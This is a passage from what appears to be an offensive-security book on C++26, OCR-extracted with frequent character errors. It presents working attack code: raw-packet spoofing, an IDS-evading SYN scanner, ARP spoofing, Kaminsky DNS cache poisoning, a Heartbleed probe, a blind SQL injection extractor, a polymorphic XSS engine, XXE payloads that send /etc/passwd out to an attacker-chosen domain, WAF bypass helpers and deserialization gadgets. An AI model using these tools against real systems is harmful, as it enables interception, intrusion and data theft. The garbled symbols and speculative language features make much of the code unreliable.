» Approximately 2,000-5,000 ports per second using std: : async with 200 concurrent tasks.
* Graceful cancellation via std: : stop_token, preventing resource waste.

* Automatic thread management via std: : jthread, eliminating manual join() calls.

Important Note on Windows Sockets

Windows requires calling WSAStartup() before using any socket functions. The
WinsockInitializer RAII class handles this automatically. Each thread that creates sockets
needs its own Winsock initialization, which is why the lambda inside scan_ports_async creates
alocal WinsockInitializer instance.

Now proceed to Chapter 2, where you will learn to craft raw packets and implement ARP

spoofing and DNS cache poisoning using C++26.



Network Attacks in Modern C++26

2.1 Crafting Raw Packets with C++26 Using WinSock2 and
Npcap

Raw packet crafting is the foundation of offensive network tools. Unlike higher-level APIs that
handle protocol details automatically, raw sockets and packet injection libraries give you
complete control over every byte transmitted. On Windows, two complementary approaches
exist: WinSock?2 raw sockets for [P-layer operations, and Npcap for link-layer (Ethernet) capture

and injection.

WinSock2 Raw Sockets

Windows raw sockets support the ‘SOCK_RAW* type with the ‘IPPROTO_IP* or
‘IPPROTO_RAW® protocols. To send packets with custom IP headers, you must enable the
‘IP_HDRINCL socket option. This allows your application to construct the entire IP header

(including source IP, TTL, and checksum) before transmission.

#include <winsock2.h>

#include <ws2tcpip.h>

#include <iphlpapi.h>

#pragma comment(lib, "ws2_32.1ib")
#pragma comment(lib, "iphlpapi.lib")

void send_raw_packet(const charx target_ip, const char* payload, int payload_len) {
WSADATA wsaData;
WSAStartup (MAKEWORD(2, 2), &wsaData);

SOCKET raw_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

if (raw_sock == INVALID_SOCKET) {

std::cerr << "Raw socket creation failed. Run as Administrator.\n";

36
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return;

BOOL bHdrIncl = TRUE;
setsockopt(raw_sock, IPPROTO_IP, IP_HDRINCL, (charx)&bHdrIncl, sizeof(bHdrIncl));

// Build custom IP header

struct iphdr {
unsigned char ip_hl : 4;
unsigned char ip_v : 4;
unsigned char ip_tos;
unsigned short ip_len;
unsigned short ip_id;
unsigned short ip_off;
unsigned char ip_ttl;
unsigned char ip_p;
unsigned short ip_sum;
unsigned int ip_src;
unsigned int ip_dst;

3

char packet[4096];
// Fill packet with custom IP header and payload...

struct sockaddr_in dest;
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = inet_addr(target_ip);

int result = sendto(raw_sock, packet, sizeof(packet), 0,
(struct sockaddrx)&dest, sizeof(dest));

closesocket(raw_sock);

WSACleanup();

Npcap for Link-Layer Injection

For Ethernet-level packet injection, Npcap (the modern replacement for WinPcap) provides the
‘pcap_inject()‘ function. Npcap implements the open Pcap API using a custom Windows kernel
driver, allowing raw packet capture and injection across all current Windows

releases[reference:0]. Npcap supports loopback packet capture via Windows Filtering Platform,
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raw 802.11 frame capture, and multi-threaded concurrent packet injection[reference:1].

#define HAVE_REMOTE
#include <pcap.h>

#pragma comment(lib, "wpcap.lib")

bool inject_ethernet_frame(pcap_tx handle, const uint8_t* frame, int frame_len) {
if (pcap_inject(handle, frame, frame_len) == -1) {
std::cerr << "Injection failed: " << pcap_geterr(handle) << "\n";
return false;

}

return true;

Bypassing Higher-Level Libraries

Many security tools rely on libraries like WinHttp or WinSock2’s stream sockets. These
higher-level abstractions impose protocol compliance (e.g., correct TCP sequence numbers, valid
checksums) and restrict packet injection to valid protocol states. Raw packet crafting bypasses
these restrictions entirely, allowing you to send malformed packets, spoof source IPs, and inject

packets that would otherwise be rejected.
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2.2 Building an Undetectable SYN Port Scanner Using
std::generator (C++23)

Current Status of std::generator

As of the latest C++ standard revisions, ‘std::generator® is not yet fully standardized. It is not
present in any officially released standard library. The implementation seen in some compilers is
experimental, typically based on ‘std::coroutine_handle‘ with custom promise types, and is not
ABI-stable across compiler versions[reference:2]. Consequently, production code should avoid
relying on ‘std::generator® for critical security tools. For the purpose of this book, we present a
conceptual implementation using the experimental GCC/libstdc++ version, which requires

enabling C++23 and may change in future compiler releases.

Conceptual Implementation of a Stealthy SYN Port Scanner

A SYN (half-open) scanner sends TCP SYN packets to target ports and listens for SYN-ACK
responses. Unlike a full TCP connect scan, a SYN scan never completes the three-way handshake,
making it less likely to be logged by applications. To evade IDS/IPS, the scanner randomizes

source ports, introduces variable delays, and spreads scanning across multiple source IPs.

Experimental Code Example (Requires GCC 15.2 with -std=c++23)

#include <generator>
#include <random>
#include <vector>
#include <winsock2.h>

#include <ws2tcpip.h>

std: :generator<int> generate_random_ports(int count, int min_port, int max_port) {
std: :random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<> dist(min_port, max_port);
for (int i = @; i < count; ++i) {

co_yield dist(gen);

void stealth_syn_scan(const charx target_ip, int scan_count) {
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std: :random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<> src_port_dist(1024, 65535);

for (int port : generate_random_ports(scan_count, 1, 1024)) {
// Craft SYN packet with randomized source port
uint16_t src_port = src_port_dist(gen);
// Send SYN and wait for response with variable timeout

std::this_thread: :sleep_for(std::chrono::milliseconds(50 + (rand() % 100)));
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2.3 ARP Protocol Attacks: MAC Spoofing, MITM, and Packet

Manipulation with std::mdspan

ARP spoofing exploits the lack of authentication in the Address Resolution Protocol. An attacker
sends forged ARP replies, associating their MAC address with the IP address of another host

(e.g., the default gateway). This allows man-in-the-middle interception of network traffic.

Understanding std::mdspan

‘std::mdspan‘ (introduced in C++23) is a lightweight, non-owning multi-dimensional array view.
It maps a multi-dimensional index to an element of a contiguous array, with configurable layout
policies[reference:3]. For network packet manipulation, ‘std::mdspan‘ allows you to interpret
packet buffers as structured multi-dimensional data without copying. For example, you can view
a packet buffer as a 2D array where rows represent protocol layers and columns represent

fields[reference:4].

#include <mdspan>
#include <vector>

#include <cstdint>

struct EthernetHeader {
uint8_t dest_mac[6];
uint8_t src_mac[6];
uint16_t type;

b

struct ArpPacket {
EthernetHeader eth;
uint16_t hw_type;
uint16_t proto_type;
uint8_t hw_addr_len;
uint8_t proto_addr_len;
uint16_t opcode;
uint8_t sender_mac[6];
uint32_t sender_ip;
uint8_t target_mac[6];
uint32_t target_ip;

3
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void manipulate_arp_packet(std::vector<uint8_t>& buffer) {
// View the buffer as a 2D array: (protocol_layer, field_index)
std: :mdspan<uint8_t, std::extents<size_t, std::dynamic_extent, 16>> view(
buffer.data(), buffer.size() / 16);

// Modify ARP opcode (offset within the ARP structure)
view[@, 20] = 0x02; // ARP reply
view[@, 21] = 0x00;

// Spoof sender MAC address
for (int i = 0; i < 6; ++i) {
view[@, 22 + i] = OxDE; // Attacker's MAC

ARP Spoofing Implementation Using WinPcap/Npcap

The attack involves sending forged ARP reply packets to both the target host and the gateway.
The following code uses the Packet++ library (a C++ wrapper for libpcap) to craft and send ARP
packets.

#include <pcap.h>
#include <Packet.h>
#include <EthLayer.h>
#include <ArpLayer.h>

void send_arp_spoof(pcap_tx handle, const uint8_t* target_mac, uint32_t target_ip,
const uint8_t* spoofed_mac, uint32_t spoofed_ip) {
PacketBuilder eth_builder;
eth_builder.add(EthLayer(target_mac, spoofed_mac, ETHERTYPE_ARP));

ArpLayer arp_layer;
arp_layer.setHardwareType (ARPHRD_ETHER) ;
arp_layer.setProtocolType(ETHERTYPE_IP);
arp_layer.setHardwareSize(6);
arp_layer.setProtocolSize(4);
arp_layer.setOpcode (ARPOP_REPLY);
arp_layer.setSenderMacAddress(spoofed_mac);
arp_layer.setSenderIpAddress(spoofed_ip);
arp_layer.setTargetMacAddress(target_mac);

arp_layer.setTargetIpAddress(target_ip);
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eth_builder.add(arp_layer);

Packet packet = eth_builder.buildPacket();

pcap_sendpacket (handle, packet.getRawPacket()->getRawData(),
packet.getRawPacket ()->getRawDatalLen());
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2.4 Developing a Modern DNS Cache Poisoning Tool
(Kaminsky-Style) Using std::random

The Kaminsky DNS cache poisoning attack exploits insufficient randomness in DNS transaction
IDs and query source ports. By flooding a recursive resolver with forged responses, an attacker

can guess the correct transaction ID and inject malicious address records.

Attack Mechanism

1. Query the resolver for a non-existent subdomain (e.g., ‘random123.attacker.com®). 2. The

resolver forwards the query to the authoritative server. 3. Before the legitimate response arrives,
the attacker sends thousands of forged UDP responses with different transaction IDs. 4. When a
forged response matches the correct transaction ID, the resolver caches the malicious ‘A record

for ‘attacker.com®.

C++26 Implementation with std::random

The C++26 random number library provides ‘std::random_device‘ for non-deterministic seeds
and ‘std::mt19937° for high-quality pseudo-random sequences. The transaction ID field in DNS

is 16 bits, requiring up to 65,536 attempts in the worst case.

#include <random>
#include <winsock2.h>
#include <ws2tcpip.h>

#include <thread>

class KaminskyPoisoner {

private:
std::mt19937 rng;
std: :uniform_int_distribution<uint16_t> txid_dist{@, 65535};
std::uniform_int_distribution<uint16_t> src_port_dist{1024, 65535};

public:
KaminskyPoisoner() : rng(std::random_device{}()) {3}

void forge_dns_response(const char* target_ip, const charx domain,
const char* malicious_ip) {

uint16_t target_txid = txid_dist(rng);
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uint16_t src_port = src_port_dist(rng);

// Construct DNS response packet with target_txid
// Spoofed source IP = legitimate authoritative DNS server

// Contains malicious A record for 'domain'

// Flood the resolver with different transaction IDs
for (int attempt = @; attempt < 50000; ++attempt) {
uint16_t forged_txid = txid_dist(rng);

send_forged_response(target_ip, forged_txid, src_port, domain, malicious_ip);

// Throttle to avoid network congestion
if (attempt % 100 == @) {

std::this_thread: :sleep_for(std::chrono::milliseconds(1));
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2.5 TCP Service Vulnerability Scanner (Heartbleed-Style)

Using constexpr Packet Compilers

The Heartbleed vulnerability (CVE-2014-0160) allowed attackers to read memory from
vulnerable OpenSSL servers by sending a malformed TLS heartbeat request. A scanner must
construct a heartbeat packet with a payload length larger than the actual payload, triggering a

memory leak.

Constexpr Packet Compilation

C++26 extends ‘constexpr* capabilities to include type-punning (via P2738R1) and placement
new, allowing complex packet structures to be evaluated at compile time. The entire scanner

payload can be precomputed and embedded directly into the binary.

constexpr uint8_t heartbleed_request(uint8_t payload_size) {
uint8_t packet[20] = {3};
packet[@] = 0x18; // TLS Heartbeat
packet[1] = @x@03; // TLS version major
packet[2] = 0x@03; // TLS version minor
packet[3] = 0x00; // Length high
packet[4] = 0x03; // Length low
packet[5] = 0x01; // Heartbeat type (request)
packet[6] = @x00; // Payload length high
packet[7] = payload_size; // Malformed: claims larger size

return packet[0]; // Dummy return for constexpr

// Precompute the entire payload at compile time

constexpr auto HEARTBLEED_PAYLOAD = []() constexpr {
std: :array<uint8_t, 20> arr{};
arr[@] = ox18; arr[1] = 0x03; arr[2] = 0x03; // TLS header
arr[3] = 0x00; arr[4] = 0x03; // Length
arr[5] = ox@01; // Heartbeat type
arr[6] = 0x00; arr[7] = 0x40; // Payload length = 64 (malformed)
return arr;

10;
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Vulnerability Scanner Implementation

A Heartbleed scanner sends the crafted TLS heartbeat request and examines the response

server returns more data than the actual payload (typically 64 bytes), it is vulnerable.

#include <winsock2.h>
#include <ws2tcpip.h>

#include <openssl/ssl.h> // Requires OpenSSL development libraries

bool check_heartbleed(const charx host, int port) {
SSL_library_init();
SSL_CTX* ctx = SSL_CTX_new(TLS_client_method());
SSL* ssl = SSL_new(ctx);

SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct sockaddr_in addr;

addr.sin_family = AF_INET;

addr.sin_port = htons(port);

inet_pton(AF_INET, host, &addr.sin_addr);

connect(sock, (struct sockaddrx)&addr, sizeof(addr));

SSL_set_fd(ssl, sock);
SSL_connect(ssl);

// Send Heartbleed probe
SSL_write(ssl, HEARTBLEED_PAYLOAD.data(), 20);

char response[65536];

int received = SSL_read(ssl, response, sizeof(response));

bool vulnerable = (received > 20); // More than heartbeat header
SSL_free(ssl);

SSL_CTX_free(ctx);

closesocket (sock);

return vulnerable;

. If the
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2.6 Summary

This chapter covered the core network attack techniques implemented in C++26: - Raw packet
injection using WinSock2 and Npcap, bypassing higher-level protocol stacks. - SYN scanning
with randomized source ports and variable delays for IDS evasion (noting that ‘std::generator*
remains experimental). - ARP spoofing using ‘std::mdspan° for efficient packet manipulation. -
Kaminsky-style DNS cache poisoning leveraging ‘std::random‘ for transaction ID forgery. -
Compile-time packet compilation with ‘constexpr‘ for heartbleed-style vulnerability scanning.
Proceed to Chapter 3 to explore web vulnerability discovery and exploitation using C++26

coroutines and reflection.



Web Vulnerability Discovery &

Exploitation

3.1 Building a Structured Fuzzer for HT'TP/2 and HTTP/3
Using Coroutines (C++20/23)

HTTP/2 and HTTP/3 introduce binary framing, multiplexing, and server push, creating new
attack surfaces beyond traditional HTTP/1.1. Fuzzing these protocols requires handling
asynchronous streams, flow control, and priority dependencies. C++20 coroutines provide a
natural abstraction for such concurrent I/O tasks, simplifying code that would otherwise require

complex state machines or callback chains.

Understanding C++20 Coroutines for Network Fuzzing

A coroutine is a function that can suspend execution and resume later while preserving its state.

The C++20 standard provides language support for coroutines through the keywords ‘co_await‘,

3

co_yield‘, and ‘co_return‘, along with library types such as ‘std::coroutine_handle‘. For HTTP/2
fuzzing, we can implement a generator that yields malformed frames, allowing the fuzzer to

maintain state across thousands of test cases without manual bookkeeping.

#include <coroutine>
#include <cstdint>
#include <vector>
#include <random>

#include <optional>
struct Http2Frame {

uint8_t length[3];
uint8_t type;

49
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uint8_t flags;

uint32_t stream_id;

std: :vector<uint8_t> payload;
};

class Http2Fuzzer {

private:
std::mt19937 rng;
std::uniform_int_distribution<uint8_t> type_dist{@, 10};
std::uniform_int_distribution<uint32_t> stream_dist{@, Ox7FFFFFFF};

public:
Http2Fuzzer() : rng(std::random_device{}()) {}

// Coroutine that yields malformed HTTP/2 frames
std: :generator<Http2Frame> generate_frames(int count) {
for (int i = @; i < count; ++i) {
Http2Frame frame;
frame.type = type_dist(rng);

frame.stream_id = stream_dist(rng);

// Corrupt length field

frame.length[@] = rng() % OxFF;
frame.length[1] = rng() % OxFF;
frame.length[2] rng() % OxFF;

co_yield frame;

}

HTTP/3 Specific Challenges

HTTP/3 runs over QUIC (UDP), requiring stateful connection handling and congestion control
awareness. A C++20 coroutine-based fuzzer for HTTP/3 must integrate with a QUIC library

(such as MSQUIC on Windows) while using coroutines to manage multiple concurrent streams.

#include <msquic.h>
#include <coroutine>

#include <functional>
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class QuicFuzzer {
private:
HQUIC registration;
HQUIC configuration;

public:
QuicFuzzer() {
MsQuicOpen2(&registration);
// Configure QUIC with fuzzing parameters

std: :generator<std: :vector<uint8_t>> fuzz_http3_request() {
while (true) {
std: :vector<uint8_t> payload(1024);
// Corrupt QPACK header compression
payload[@] = 0x80; // QPACK dynamic table reference
co_yield payload;

3
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3.2 Automating Complex Blind SQLi Attacks with

std::string_view and Statistical Analysis

Blind SQL injection attacks extract data one bit at a time by observing differences in application
behavior (e.g., response times, HTTP status codes, or content lengths). Automating these attacks
requires efficient string processing and statistical analysis to distinguish genuine differences from
network noise. The ‘std::string_view* type, introduced in C++17, provides lightweight,
non-owning views into string data, eliminating unnecessary copies when parsing HTTP

responses and extracting database schemas.

Blind Boolean-Based SQL Injection

The attacker constructs a query that returns a boolean result: true if a condition holds, false
otherwise. By repeatedly asking binary questions (e.g., "Is the first character of the database

name greater than *'m’?"), the entire database schema can be extracted.

#include <string_view>
#include <vector>
#include <numeric>
#include <random>

#include <cmath>

class BlindSQLiExploiter {
private:
std::string target_url;

std::string vulnerable_parameter;

bool inject_condition(std::string_view condition) {
std: :string payload = vulnerable_parameter +
"' AND " + std::string(condition) + "--";
// Send request and check response

return check_response(payload);

public:
char extract_char(std::string_view column, int row, int position) {
int low = 32, high = 126;
while (low < high) {
int mid = (low + high) / 2;
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std::string condition = "ASCII(SUBSTRING((" + std::string(column) +
" LIMIT " + std::to_string(row) + ",1)," +
std::to_string(position) + ",1)) > " + std::to_string(mid);

if (inject_condition(condition)) {
low = mid + 1;

} else {
high = mid;

}

return static_cast<char>(low);

Statistical Analysis for Time-Based Blind SQLi

In time-based blind SQL injection, the attacker introduces delays (e.g., “‘WAITFOR DELAY
’0:0:5° %) and measures response times. Since network latency introduces noise, multiple

measurements and statistical analysis are required.

#include <chrono>
#include <vector>

#include <numeric>

bool time_based_injection(std::string_view payload, int delay_ms) {

std: :vector<double> measurements;

for (int i = 0; i < 10; ++i) {
auto start = std::chrono::steady_clock: :now();
execute_query(payload);

auto end = std::chrono::steady_clock: :now();

double elapsed = std::chrono::duration<double, std::milli>(end - start).count();

measurements.push_back(elapsed);

double mean = std::accumulate(measurements.begin(), measurements.end(), 0.0) /
— measurements.size();

double variance = 0.0;

for (double t : measurements) {

variance += std::pow(t - mean, 2);
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variance /= measurements.size();

// If mean response time exceeds threshold by 2 standard deviations, condition is true

return mean > (delay_ms + 2 *x std::sqrt(variance));
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3.3 Creating a Polymorphic XSS Engine Using constexpr and
Reflection (C++26)

Cross-Site Scripting (XSS) attacks inject malicious scripts into trusted websites. A polymorphic
XSS engine generates unique payloads for each request, evading signature-based detection.
C++20 introduced ‘std::is_constant_evaluated®, which allows functions to behave differently at
compile time and runtime. When combined with C++26 reflection, we can precompute multiple

encoding variants of an XSS payload at compile time.

Compile-Time Payload Generation

The ‘std::is_constant_evaluated‘ function determines whether a call occurs in a constant
evaluation context, such as ‘constexpr* variable initialization. If true, the function can perform
complex transformations at compile time; otherwise, it falls back to a runtime implementation.
For XSS payloads, we can generate hundreds of encoded variants at compile time and store them

in a ‘constexpr‘ array.

#include <array>
#include <algorithm>
#include <random>

#include <type_traits>

constexpr std::array<char, 64> encode_char(char c) {
constexpr std::string_view hex_chars = "0123456789ABCDEF";
std::array<char, 64> result = {J};
result[o] %' ;
result[1] = hex_chars[(c >> 4) & 0Ox0OF];
result[2] = hex_chars[c & 0x0OF];

return result;

constexpr std::array<char, 1024> generate_payload() {
std: :array<char, 1024> payload = {};
constexpr std::string_view base = "<script>alert('XSS')</script>";

size_t pos = 0;

for (char c : base) {
i'F (C:: <! ||C:: S ||C:= l\ll ||C:: |\u|){

auto encoded = encode_char(c);
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std: :copy(encoded.begin(), encoded.end(), payload.begin() + pos);

pos += 3;
} else {
payload[pos++] = c;

}

return payload;

constexpr auto XSS_PAYLOAD = generate_payload();

Reflection for Context-Aware XSS

C++26 reflection (P2996R13) allows compile-time introspection of types and structures. An XSS
engine can reflect on the HTML context (attribute, script, style) and generate a

context-appropriate payload without runtime branching.

#include <experimental/reflect>

template<typename Context>
constexpr auto generate_xss_payload() {

using namespace std::experimental::reflect;

// Compile-time detection of context type

if constexpr (has_attribute_v<Context>) {
// Attribute context: need to break out of quotes
return "\\\" onmouseover=alert('XSS') //";

} else if constexpr (has_script_v<Context>) {
// Script context: direct JavaScript injection
return "alert('XSS')";

} else {
// HTML context: standard injection

return "<script>alert('XSS')</script>";

Polymorphic Engine Implementation

The complete polymorphic XSS engine combines compile-time generation with runtime

randomization to produce unique payloads for each request.
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class PolymorphicXSS {
private:
std::mt19937 rng;
std: :vector<std: :string> payloads;

public:
PolymorphicXSS() : rng(std::random_device{}()) {

// Precompute 256 variants at compile time

constexpr auto base = generate_payload();

for (int i = @0; i < 256; ++i) {
payloads.emplace_back(base.begin(), base.end());
// Apply additional obfuscation: case swapping, comment insertion
if (i %2==20) {

std: :transform(payloads.back().begin(), payloads.back().end(),
payloads.back().begin(), ::toupper);

std::string get_payload() {
std::uniform_int_distribution<size_t> dist(@, payloads.size() - 1);

return payloads[dist(rng)];

3
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3.4 Exploiting SSRF and XXE by Crafting Malicious
XML/SOAP Payloads with std::format

Server-Side Request Forgery (SSRF) and XML External Entity (XXE) injection are often
chained together to escalate a local file read into full internal network scanning. An XXE
vulnerability allows an attacker to define an external entity that references an internal resource
(e.g., ‘file:///etc/passwd*). A malicious actor can combine this with SSRF to force the server to

make HTTP requests to internal services, effectively turning the vulnerable server into a proxy.

Crafting XXE Payloads with std::format

The ‘std::format‘ library (C++20) provides type-safe string formatting, ideal for constructing

complex XML payloads without the security risks of ‘sprintf‘ or manual concatenation.

#include <format>
#include <string>

#include <vector>

class XXEPayloadGenerator {
public:
std::string generate_file_read(const std::string& file_path) {
return std::format(R"(
<?xml version="1.0" encoding="UTF-8"7>
<IDOCTYPE foo [
<!ELEMENT foo ANY>
<!IENTITY xxe SYSTEM "file:///{}">
1>
<foo>&xxe;</foo>

", file_path);

std::string generate_ssrf_probe(int port) {
return std::format(R"(
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://localhost:{}">
1>

<foo>&xxe;</foo>
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)", port);

std::vector<std::string> scan_internal_ports(int start, int end) {
std: :vector<std::string> payloads;
for (int port = start; port <= end; ++port) {
payloads.push_back(generate_ssrf_probe(port));

3
return payloads;
}
}§
SOAP Action Spoofing

Many SOAP services expose internal functionality through custom HTTP headers
(‘SOAPAction‘). By crafting a malicious SOAP envelope with a spoofed ‘SOAPAction‘ header,
an attacker can invoke unauthorized methods. The following example demonstrates constructing

a SOAP request that triggers an XXE vulnerability.

std::string craft_soap_xxe(const std::string& target_service) {
return std::format(R"(
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<SOAPAction>{}::InternalMethod</SOAPAction>
</soap:Header>
<soap:Body>
<!IDOCTYPE root [
<IENTITY xxe SYSTEM "file:///c:/windows/win.ini">
1>
<Data>&xxe;</Data>
</soap:Body>
</soap:Envelope>

n

, target_service);

Blind XXE Exfiltration via Out-of-Band (OOB) Channel

When the application does not return the entity’s content in the response, blind XXE can still
exfiltrate data through an out-of-band channel. The attacker defines a parameter entity that sends

the data to a remote server.
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std::string generate_oob_xxe(const std::string& exfil_domain) {
return std::format(R"(

<?xml version="1.0" encoding="UTF-8"7?>

<IDOCTYPE root [
<!ENTITY %% remote SYSTEM "http://{}/xxe">
<!IENTITY %% payload SYSTEM "file:///etc/passwd">
<!IENTITY %% send SYSTEM "http://{}/?data=%%payload;">

1>

<root>&send;</root>

)", exfil_domain, exfil_domain);
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3.5 Developing a WAF Bypass Tool Using Intelligent std::regex

and std::variant

Web Application Firewalls (WAFs) use regular expressions, signature databases, and behavioral
analysis to block malicious requests. However, regex-based filters are brittle and can be bypassed
through encoding tricks, case variations, and request smuggling. The ‘std::regex‘ library provides
pattern matching capabilities, while ‘std::variant‘ enables a type-safe union of different bypass

techniques.

Encoding and Obfuscation Bypasses

WAPFs often decode input only once. Double-encoding, URL encoding with variations, and

alternative character sets can evade detection.

#include <regex>
#include <variant>
#include <vector>

#include <string>
using BypassTechnique = std::variant<std::string, std::vector<uint8_t>, int>;

class WAFBypass {
private:

std: :vector<BypassTechnique> techniques;

std: :string double_encode(const std::string& payload) {
std::string result;
for (char c : payload) {
result += std::format("%{:02X}", static_cast<unsigned char>(c));
}
// Re-encode the percent signs
std: :regex percent("%");

return std::regex_replace(result, percent, "%25");

std::string case_variation(const std::string& payload) {
std::string result;
std::mt19937 rng(std::random_device{}());
std: :bernoulli_distribution dist(0.5);
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for (char c : payload) {
if (std::isalpha(static_cast<unsigned char>(c))) {
result += dist(rng) ? std::toupper(c) : std::tolower(c);
} else {

result += c;

b

return result;

public:
WAFBypass() {
techniques.push_back(std: :string(”"Double Encoding"));
techniques.push_back(std: :string(”"Case Swapping"”));

techniques.push_back(std::string(”"Comment Injection”));

std::string apply_bypass(const std::string& payload, const std::string& technique) {
if (technique == "Double Encoding") {
return double_encode(payload);
} else if (technique == "Case Swapping"”) {
return case_variation(payload);

b

return payload;

3

Parameter Pollution and HTTP Verb Tampering

Parameter pollution exploits inconsistent parsing between the WAF and the backend application.
The same parameter name is sent multiple times; the WAF may evaluate the first occurrence,

while the application uses the last.

std::string parameter_pollution(const std::string& param,
const std::string& benign,
const std::string& malicious) {

return std::format("{}={3}&{}={1}", param, benign, param, malicious);
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3.6 Exploiting Deserialization Vulnerabilities in JSON/YAML

Using std::visit and Reflection Libraries

Insecure deserialization occurs when an application deserializes user-controlled data without
proper validation. Attackers can craft malicious JSON or YAML payloads that instantiate
unexpected objects or trigger gadget chains, leading to remote code execution. The ‘std::visit*
function allows type-safe visitation of ‘std::variant objects, while C++26 reflection enables

compile-time inspection of deserialized data.

Understanding Deserialization Vulnerabilities

The OWASP Top 10 ranks insecure deserialization as a critical risk. When an application uses
‘JSON.parse‘ or YAML loading on untrusted data without restrictions, an attacker can inject
objects that execute arbitrary code during deserialization. C++ libraries such as ‘nlohmann::json‘

and ‘yaml-cpp‘ can be vulnerable if they allow custom type construction from input.

Malicious JSON Payload Construction

The following example demonstrates crafting a JSON payload that, when deserialized, attempts
to execute a system command. The actual behavior depends on the deserialization library’s

configuration.

#include <nlohmann/json.hpp>
#include <variant>

#include <string>

struct Evil {
std::string command;

operator std::string() const { return command; 3}

B

void from_json(const nlohmann::json& j, Evil& e) {
// Insecure: allows arbitrary command execution
e.command = j.value("cmd", "");

system(e.command.c_str());

nlohmann::json craft_malicious_json() {
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nlohmann: : json payload;
payload["type"] = "Evil";
payload["cmd”] = "calc.exe";

return payload;

YAML Deserialization Gadget Chains

YAML deserialization in languages like Python (PyYAML) and Ruby can instantiate arbitrary

classes. The same concept applies to C++ YAML parsers that support tag resolution.

std::string craft_yaml_gadget() {
return R"(
!'Ipython/object/apply:os.system
args: ['calc.exe'l]

D

Using std::visit for Safe Deserialization

A defensive approach to deserialization uses ‘std::variant‘ and ‘std::visit‘ to enforce strict type

checking. The following example shows a safe parser that only accepts a predefined set of types.

using SafeType = std::variant<int, double, std::string, std::vector<SafeType>>;

SafeType safe_parse(const nlohmann::json& j) {

if (j.is_number_integer()) {
return j.get<int>();

} else if (j.is_number_float()) {
return j.get<double>();

} else if (j.is_string()) {
return j.get<std::string>();

} else if (j.is_array()) {
std: :vector<SafeType> arr;
for (const auto& item : j) {

arr.push_back(safe_parse(item));

}

return arr;

3

throw std::runtime_error(”"Unsupported type");
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void process_deserialized(const SafeType& data) {
std::visit([J(auto&& arg) {
using T = std::decay_t<decltype(arg)>;
if constexpr (std::is_same_v<T, int>) {
std::cout << "Integer: " << arg << "\n";
} else if constexpr (std::is_same_v<T, std::string>) {
std::cout << "String: " << arg << "\n";
}
}, data);

Reflection for Deserialization Validation

C++26 reflection can validate incoming JSON schemas at compile time, ensuring that only

allowed fields and types are processed.

#include <experimental/reflect>

template<typename T>

constexpr bool validate_json_schema() {
using namespace std::experimental::reflect;
consteval auto members = nonstatic_data_members_of (**T);
// Compile-time check that all fields are of allowed types

return true;

struct User {
std::string name;
int age;

3

static_assert(validate_json_schema<User>(), "Schema validation failed”);
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3.7 Summary

This chapter covered six advanced web vulnerability discovery and exploitation techniques

implemented in C++26:

* Building structured HTTP/2 and HTTP/3 fuzzers using C++20 coroutines, leveraging

‘co_yield* for lazy generation of malformed frames.

* Automating blind SQL injection attacks with ‘std::string_view* for efficient parsing and

statistical analysis for time-based detection.

* Creating polymorphic XSS engines using ‘constexpr‘ and ‘std::is_constant_evaluated® for

compile-time payload generation.
* Exploiting XXE and SSRF by crafting malicious XML/SOAP payloads with ‘std::format®.

* Developing WAF bypass tools using ‘std::regex‘ and ‘std::variant for encoding tricks,

parameter pollution, and verb tampering.

* Exploiting deserialization vulnerabilities in JSON/YAML using ‘std::visit* and C++26

reflection for type-safe processing.

Proceed to Chapter 4 to explore reverse engineering and binary exploitation techniques using

C++26’s low-level memory manipulation and constexpr capabilities.



Reverse Engineering & Binary Exploitation

4.1 Building a Static Analyzer for PE Files Using std::bit_cast
and std::byteswap

The Portable Executable (PE) format is the standard for Windows executables, object code, and
DLLs. A static analyzer processes PE files without executing them, extracting headers, section
tables, and import/export information. Modern C++ provides ‘std::bit_cast‘ (C++20) and

‘std::byteswap* (C++23) for safe, efficient binary parsing.

Understanding std::bit_cast and std::byteswap

‘std::bit_cast® is the only standard-defined safe type-punning mechanism in C++. It requires
source and destination types to be trivially copyable and of equal size. The function copies the
object representation directly, producing no runtime overhead and avoiding undefined behavior
associated with ‘reinterpret_cast® or unions. This makes it ideal for parsing binary file headers
where fields must be reinterpreted as integers of the same size.

‘std::byteswap®, introduced in C++23, reverses the byte order of an integer value. It is essential
for handling endianness when reading PE files, which use little-endian byte order on Windows.
The function participates in overload resolution only for integral types and is ‘constexpr®,

allowing compile-time byte swapping.

PE File Structure Fundamentals

A PE file begins with a DOS header (IMAGE_DOS_HEADER), which contains the e_magic field
(MZ signature) and e_lfnew field pointing to the PE header offset. The PE header
(IMAGE_NT_HEADERS) includes a signature (PE\O\O), a file header (IMAGE_FILE_HEADER), and an
optional header (IMAGE_OPTIONAL_HEADER). Following the headers, section headers
(IMAGE_SECTION_HEADER) describe the raw data sections (e.g., . text, .data, .rdata).

67
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Complete Static Analyzer Implementation

The following PE parser uses ‘std::bit_cast‘ to safely reinterpret byte buffers as header structures

and ‘std::byteswap* to handle cross-platform endianness.

#include <iostream>
#include <fstream>
#include <vector>
#include <bit>
#include <cstdint>
#include <string>

#include <iomanip>

#pragma pack(push, 1)

struct ImageDosHeader {
uint16_t e_magic; // Magic number (MZ)
uint16_t e_cblp;
uint16_t e_cp;
uint16_t e_crlc;
uint16_t e_cparhdr;
uint16_t e_minalloc;
uint16_t e_maxalloc;
uint16_t e_ss;
uint16_t e_sp;
uint16_t e_csum;
uint16_t e_ip;
uint16_t e_cs;
uint16_t e_lfarlc;
uint16_t e_ovno;
uint16_t e_res[4];
uint16_t e_oemid;
uint16_t e_oeminfo;
uint16_t e_res2[10];
uint32_t e_lfanew; // Offset to PE header

3

struct ImageFileHeader {
uint16_t Machine;
uint16_t NumberOfSections;
uint32_t TimeDateStamp;
uint32_t PointerToSymbolTable;
uint32_t NumberOfSymbols;
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uinti6_t
uinti6_t
3

SizeOfOptionalHeader;

Characteristics;

struct ImageDataDirectory {

uint32_t
uint32_t

3

VirtualAddress;

Size;

struct ImageOptionalHeader64 {

uintl16_t

Magic;

uint8_t MajorLinkerVersion;

uint8_t MinorLinkerVersion;

uint32_t
uint32_t
uint32_t
uint32_t
uint32_t
uint64_t
uint32_t
